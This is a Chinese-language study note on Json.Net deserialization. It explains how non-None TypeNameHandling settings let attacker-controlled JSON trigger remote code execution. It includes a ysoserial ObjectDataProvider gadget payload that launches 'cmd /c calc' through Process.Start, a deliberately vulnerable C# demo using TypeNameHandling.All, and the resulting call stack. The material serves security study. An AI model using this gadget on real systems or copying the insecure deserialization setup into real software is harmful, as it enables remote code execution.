https://github.com/Y4er/dotnet-deserialization/blob/main/Json.Net.md

Json.Net

官方文档给出了最简单的两个json示例,分别是JsonConvert、JsonSerializer。这里先看下JsonConvert

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
using Newtonsoft.Json;
using System;

namespace Json.NetSerializer
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "jack";
string v = JsonConvert.SerializeObject(person);
string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.None
});
string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(v);
Console.WriteLine(v1);
Console.WriteLine(v2);
Console.ReadKey();
}
}
}

image-20240314104145822

前两个输出没有type值 最后一个才有 我们来分析一下这个情况

image-20240314104232968

没有传入setting的情况下

image-20240314104310300

然后进入到这个函数中 其实第二个也是会进入到这 然后这个CreatDefault函数的话是会实例化这个JsonSerializer类

image-20240314104430617

最终是会走到这

然后我们接着去看TypeNameHandling这个参数的不同引起的序列化时有没有type的结果

image-20240314104635026

image-20240314104706328

我们会发现我们传入的默认值时None 那么前两个的结果都是一样的

1
2
3
4
5
string v = JsonConvert.SerializeObject(person);
string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.None
});

image-20240314104817515

这个时关于TypeNameHandling值得多少对应得结果

除了None外,都会包含type信息。文档中标记了TypeNameHandling会产生安全问题,应该使用binder进行类型绑定。

而本文就是针对TypeNameHandling进行讲解,当TypeNameHandling非None时,可以传入自定义json触发RCE。

攻击链ObjectDataProvider

使用yso生成得poc

1
2
3
4
5
6
7
8
9
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Newtonsoft.Json;
using System;
using System.IO;

namespace Json.NetSerializer
{
class Program
{
static void Main(string[] args)
{
// JsonConvert
JsonConvert.DeserializeObject(File.ReadAllText("1.json"),new JsonSerializerSettings() { TypeNameHandling =TypeNameHandling.All});
// JsonSerializer
JsonSerializer jsonSerializer = JsonSerializer.CreateDefault();
jsonSerializer.TypeNameHandling = TypeNameHandling.All;
using (StreamReader sr = new StreamReader("1.json"))
using (JsonReader reader = new JsonTextReader(sr))
{
jsonSerializer.Deserialize(reader);
}
Console.ReadKey();
}
}
}

这里用得时JsonConvert和JsonSerializer这两个类来进行演示 其实JsonConvert调用还是会调用到JsonSerializer的 效果一样

image-20240314110336221

在CreatObject这个函数中的话 就会将type里的类给进行实例化操作了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Process.Start()
[Native to Managed Transition]
RuntimeMethodInfo.UnsafeInvokeInternal()
RuntimeMethodInfo.Invoke()
RuntimeType.InvokeMember()
ObjectDataProvider.InvokeMethodOnInstance()
ObjectDataProvider.QueryWorker()
ObjectDataProvider.BeginQuery()
ObjectDataProvider.set_ObjectInstance()
[Lightweight Method Call]
DynamicValueProvider.SetValue()
JsonSerializerInternalReader.SetPropertyValue()
JsonSerializerInternalReader.PopulateObject()
JsonSerializerInternalReader.CreateObject()
JsonSerializerInternalReader.CreateValueInternal()
JsonSerializerInternalReader.Deserialize()
JsonSerializer.DeserializeInternal()
JsonSerializer.Deserialize()
JsonSerializer.Deserialize()
Program.Main()

这个是调用栈

在传入的json可控和TypeNameHandling设置的值正确的情况下 都是可以RCE的

既然说到了type 又说到了json 那么我们应该就能想到fastjson了 接下来我们就来了解一下这个的反序列化操作